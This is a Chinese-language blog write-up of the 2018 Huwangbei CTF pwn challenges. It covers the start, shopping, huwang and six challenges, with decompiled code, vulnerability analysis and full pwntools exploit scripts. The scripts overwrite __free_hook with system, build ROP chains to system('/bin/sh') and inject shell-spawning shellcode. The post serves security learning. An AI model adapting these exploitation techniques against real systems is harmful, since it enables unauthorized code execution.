本文最后更新于:星期三, 一月 2日 2019, 3:47 下午

昨天刚打完护网杯线上赛,被自己菜哭,菜的真实,所以现在来赛后复现了

start

签到题,就是覆盖栈上的变量为特定的值,有点新奇的就是有一个变量要覆盖成小数0.1

0.1 在内存中存储形式为 0x3fb999999999999a

exp:

#!/usr/bin/env python
from pwn import *
local = 0

if local:
    p = process('./gettingstart')
    elf = ELF('./gettingstart')
    libc = elf.libc
else:
    host = '49.4.94.186'
    port = '32680'
    p = remote(host,port)
    elf = ELF('./gettingstart')

context.arch = elf.arch
context.log_level='debug'

p.recvuntil("you.\n")
payload = "1"*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
p.send(payload)

p.interactive()

shopping

很气人 ,我离做出就差一个__free_hook

防护机制:

☁  shopping   checksec shopping 
[*] '/home/zs0zrc/game/huwangbei/PWN/shopping /shopping'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

通过ida分析下程序逻辑

大致有两个功能

  1. get_monye 获得money
  2. buy 购买物品
unsigned __int64 getmoney()
{
  unsigned __int64 v0; // rax
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("EMMmmm, you will be a rich man!");
      fgets(&s, 24, stdin);
      v0 = strtoul(&s, 0LL, 0);
      if ( v0 != 2 )
        break;
      puts_something();
    }
    if ( v0 == 3 )
      break;
    if ( v0 == 1 )
      get_money();
  }
  return __readfsqword(0x28u) ^ v3;
}

然后buy中又存在三个功能

  1. get_goods 获得商品
  2. delete_goods 删除商品
  3. edit_goods 编辑商品
unsigned __int64 buy()
{
  unsigned __int64 v0; // rax
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("Now, buy buy buy!");
          fgets(&s, 24, stdin);
          v0 = strtoul(&s, 0LL, 0);
          if ( v0 != 2 )
            break;
          free_goods();
        }
        if ( v0 > 2 )
          break;
        if ( v0 == 1 )
          get_goods();
      }
      if ( v0 != 3 )
        break;
      edit_goods();
    }
  }
  while ( v0 != 4 );
  return __readfsqword(0x28u) ^ v3;
}

这道题目的漏洞在edit_goods函数中,它用strtoul函数来获取商品的下标

它的函数原型是

unsigned long strtoul (const char* str, char** endptr, int base);
endstr 为第一个不能转换的字符的指针,base 为字符串 str 所采用的进制。
strtoul() 会扫描参数 str 字符串,跳过前面的空白字符

漏洞点

idx = strtoul(&s, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", *buy_array[idx], idx);
*(*buy_array[v1] + read(0, *buy_array[v1], 8uLL)) = 0;
//没有对输入的值的下限进行检查,可以读取一个负数,造成数组下标溢出

泄露信息只要先生成一个unsorted bin大小的chunk,然后delete它,再malloc(0),就可以泄露出libc的信息

这里要借助get_money中生成的两个数组来实现任意地址写,因为edit功能是通过二重引用指针,修改的是buy_array[idx]的内容指向的地址上的内容,而money_array数组中存储着array数组的地址,所以我们修改edit_goods修改money_array的内容,在array中布置我们想要修改的地址,最后再修改array对应的位置,

就可以实现任意地址写


  if ( counts_g <= 0x13 )
  {
    puts("I will give you $9999, but what's the  currency type you want, RMB or Dollar?");
    v1 = malloc(0x10uLL);
    v2 = v1;
    v1[1] = 0x270FLL;
    fgets(&array[8 * counts_g], 8, stdin);
    *v2 = &array[8 * counts_g];
    v3 = counts_g++;
    v4 = 8 * v3;
    v0 = &money_array;
    *(&money_array + v4) = v2;
  }

这里我看writeup看到很多种做法,

  1. 改__free_hook为system,再free掉一个包含”sh”字符串的chunk

  2. 改libc里面的 malloc@got为one_gadget,然后再生成一个chunk就可以getshell,但是这个libc中的got表我在网上怎么都查不到,真的是学到了

  3. 还有一种没有用到chunk的,直接就数组下标溢出做的wirteup

    各位师傅真的是tql,我的exp用的是第一种

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./shopping')
    elf = ELF('./shopping')
    libc = elf.libc
else:
    host = '117.78.26.200'
    port = '32599'
    p = remote(host,port)
    elf = ELF('./shopping')
    libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        log.info("text_base:{}".format(hex(text_base)))
        log.info("buy_array:{}".format(hex(text_base + 0x2021E0)))
        log.info("get_array:{}".format(hex(text_base + 0x202140)))
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))


def get_money():
    ru("EMMmmm, you will be a rich man!\n")
    for i in range(0x14):
        sl('1')
        rc()
        sl('1234')
        ru("EMMmmm, you will be a rich man!\n")
    sl('3')


def buy_goods(size,name):
    ru('Now, buy buy buy!\n')
    sl('1')
    ru('How long is your goods name?\n')
    sl(str(size))
    ru(' name?\n')
    sl(name)


def edit_goods(idx,name):
    rc()
    sl('3')
    rc()
    sl(idx)
    ru(" to?\n")
    sd(name)

def delete_goods(idx):
    rc()
    sl('2')
    rc()
    sl(str(idx))


get_money()
buy_goods(0x88,'a'*8)#0
buy_goods(0x88,'sh')#1
buy_goods(0x88,'a'*8)#2
delete_goods(0)
buy_goods(0,'')
pause()

log.info("---------leak libc-----------")
rc()
sl('3')
rc()
sl('3')
ru("modify ")
leak = u64(p.recv(6).ljust(8,'\x00')) 
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10- 216
libc.address = libc_base
print hex(leak)
print hex(libc_base)
sl('aaaaa')
rc()

edit_goods(' -1',p64(libc.got['__free_hook']))
edit_goods(' -21',p64(libc.symbols['system']))
delete_goods(1)
p.interactive()

huwang

防护机制:

☁  huwang  checksec huwang 
[*] '/home/zs0zrc/game/huwangbei/PWN/huwang/huwang'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这题看起来像是堆的题,但其实堆分配的部分都没用,主要的功能集中在选项666中

它先打开secret文件,往里面写入随机数,然后输入md5加密的次数,循环加密后将结果存入secret中,然后要我们猜在secret存储的md5值。程序在写入md5结果时会先清空文件的内容,并且如果它没对输入的数字的下限进行判断,所以可以输入一个”-1”,程序就会循环执行MD5直到超时杀死自己,导致sercet文件的内容为空。那么md5的值就是可以预测的,16个null的md5也就是 0x000000000000000的MD5 —->[4ae71336e44bf9bf79d2752e234818a5]

同时name填0x19个字符可以泄漏出canary ,md5猜成功后会进入success函数,这里存在一个栈溢出,是由snprintf函数造成的,snprintf函数返回的值是想要写入的值,知道了canary就可以用ROP了,先泄露出libc地址,然后构造rop链调用system函数

int __fastcall sub_40101C(__int64 a1)
{
  char v1; // ST1B_1
  int v3; // [rsp+1Ch] [rbp-214h]
  char v4; // [rsp+20h] [rbp-210h]
  char s; // [rsp+120h] [rbp-110h]
  unsigned __int64 v6; // [rsp+228h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Congratulations, %s guessed my secret!\n", a1);
  puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
  puts("What`s your occupation?");
  sub_400CC1(&v4, 255LL);
  v3 = snprintf(
         &s,
         0xFFuLL,
         "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he         is very handsome........."
          ".....................................................................................
          ............",
         a1,
         &v4);                                  
  puts("Here is your introduce");
  puts(&s);
  puts("Do you want to edit you introduce by yourself[Y/N]");
  v1 = getchar();
  getchar();
  if ( v1 == 'Y' )
    read(0, &s, v3 - 1);        //stack overflow
  return printf("The final presentation is as follows:%s\n", &s);
}

exp:

#!/upr/bin/env python
from pwn import *

p = process('./huwang')
elf = ELF('./huwang')
libc = elf.libc

context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def prepare():
    p.sendlineafter("command>> \n",'666')
    p.sendlineafter("name\n",'a'*0x8)
    p.sendlineafter("secret?\n","y")
    p.sendlineafter("secret:\n", '-1')
    p.recvuntil('timeout~')   

def expoit():
    p = process('./huwang')
    p.sendlineafter("command>> \n",'666')
    p.sendafter("name\n",'a'*0x18+"#")
    p.sendlineafter("secret?\n","y")
    p.sendlineafter("secret:\n", '1')
    p.sendafter('secret\n', "J\xe7\x136\xe4K\xf9\xbfy\xd2u.#H\x18\xa5")
    p.recvuntil("#")
    canary = u64('\0' + p.recv(7))
    print hex(canary)
    p.recvuntil("occupation?\n")
    p.send('a'*0xff)
    p.sendlineafter("[Y/N]\n","Y")
    pop_rdi = 0x401573
    leave_ret = 0x400d45
    ret = 0x40101C
    ropchain = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(elf.got['puts'])+ p64(ret)
    p.sendline(ropchain)
    p.recvuntil("Congratulations, ")
    libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
    libc.address = libc_base
    payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(libc.search('/bin/sh').next()) + p64(libc.symbols['system'])
    p.recvuntil("occupation?\n")
    p.send('a'*0xff)
    p.sendlineafter("[Y/N]\n","Y")
    p.sendline(payload)
    p.interactive()


prepare()
expoit()

被23R3F大佬鞭策,回来把剩下的两道题复现下

six

大佬们的writeup: 23R3F

防护机制:

☁  six  checksec six
[*] '/home/zs0zrc/pwn/huwangbei/six/six'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

拖入ida简单逆向下,程序一开始先用mmap分配了两个区域

unsigned __int64 init_fuc()
{
  int fd; // ST04_4
  __int64 buf; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 6uLL);
  read(fd, &v3, 6uLL);
  text = mmap((v3 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
  //text段具有rwx权限,用来存放要执行的代码
  stacks = mmap((buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 0x500;
  //stacks用来模拟栈

  //这里分配的空间,当两个地址冲突或者不符合条件时,就会随机分配,随机分配的两个区域是相邻的,相邻时stacks与text的距离为0xb00
  return __readfsqword(0x28u) ^ v4;
}

然后输入6个字节的shellcode,将shellcode放入text中,且shellcode要满足三个奇数,三个偶数

__int64 __fastcall sub_B05(__int64 a1)
{
  __int64 result; // rax
  unsigned int v2; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  signed int i; // [rsp+18h] [rbp-8h]
  int j; // [rsp+1Ch] [rbp-4h]

  v2 = 0;
  v3 = 0;
  for ( i = 0; i <= 5; ++i )
  {
    if ( *(i + a1) & 1 )
      ++v2;
    else
      ++v3;
    for ( j = i + 1; j <= 5; ++j )
    {
      if ( *(i + a1) == *(j + a1) )
      {
        puts("Invalid shellcode!");
        exit(0);
      }
    }
  }
  result = v2;
  if ( v2 == v3 )
    return result;
  puts("Invalid shellcode!");
  exit(0);
  return result;
}

在执行我们输入的shellcode前,程序会先执行一段代码

Disassembly:
0:  48 89 fc                mov    rsp,rdi
3:  48 31 ed                xor    rbp,rbp
6:  48 31 c0                xor    rax,rax
9:  48 31 db                xor    rbx,rbx
c:  48 31 c9                xor    rcx,rcx
f:  48 31 d2                xor    rdx,rdx
12: 48 31 ff                xor    rdi,rdi
15: 48 31 f6                xor    rsi,rsi
18: 4d 31 c0                xor    r8,r8
1b: 4d 31 c9                xor    r9,r9
1e: 4d 31 d2                xor    r10,r10
21: 4d 31 db                xor    r11,r11
24: 4d 31 e4                xor    r12,r12
27: 4d 31 ed                xor    r13,r13
2a: 4d 31 f6                xor    r14,r14
2d: 4d 31 ff                xor    r15,r15

这是从src变量中提出出来的,这里做的就是将rsp指向mmap出来用作栈的空间,然后将各个寄存器清零。

因为这里将rax置0了,所以如果进行syscall的话就会调用read函数,往stack上写入内容。如果此时stacks和text是mmap随机分配的,那么这两个区域会是相邻的,stacks在低地址。从rsp开始覆写,可以覆盖代码段。

调用read函数的shellcode

0:  54                      push   rsp
1:  5e                      pop    rsi
2:  89 f2                   mov    edx,esi
4:  0f 05                   syscall

exp:

#!/usr/bin/env python
from pwn import *


elf = ELF('./six')
libc = elf.libc

context.arch = elf.arch
context.log_level='debug'

def exploit():
    p = process('./six')
    shellcode1='''push rsp;pop rsi;mov edx,esi;syscall'''
    p.sendafter(':',asm(shellcode1))
    paylaod ='\x90'*0xb36+asm(shellcraft.sh())
    p.send(paylaod)
    p.interactive()

while 1:
    try:
        exploit()
    except Exception:
        pass

calender

待填

大佬们的writeup

天枢

Whitzard

师傅的writeup

大佬的writeup


CTF's writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!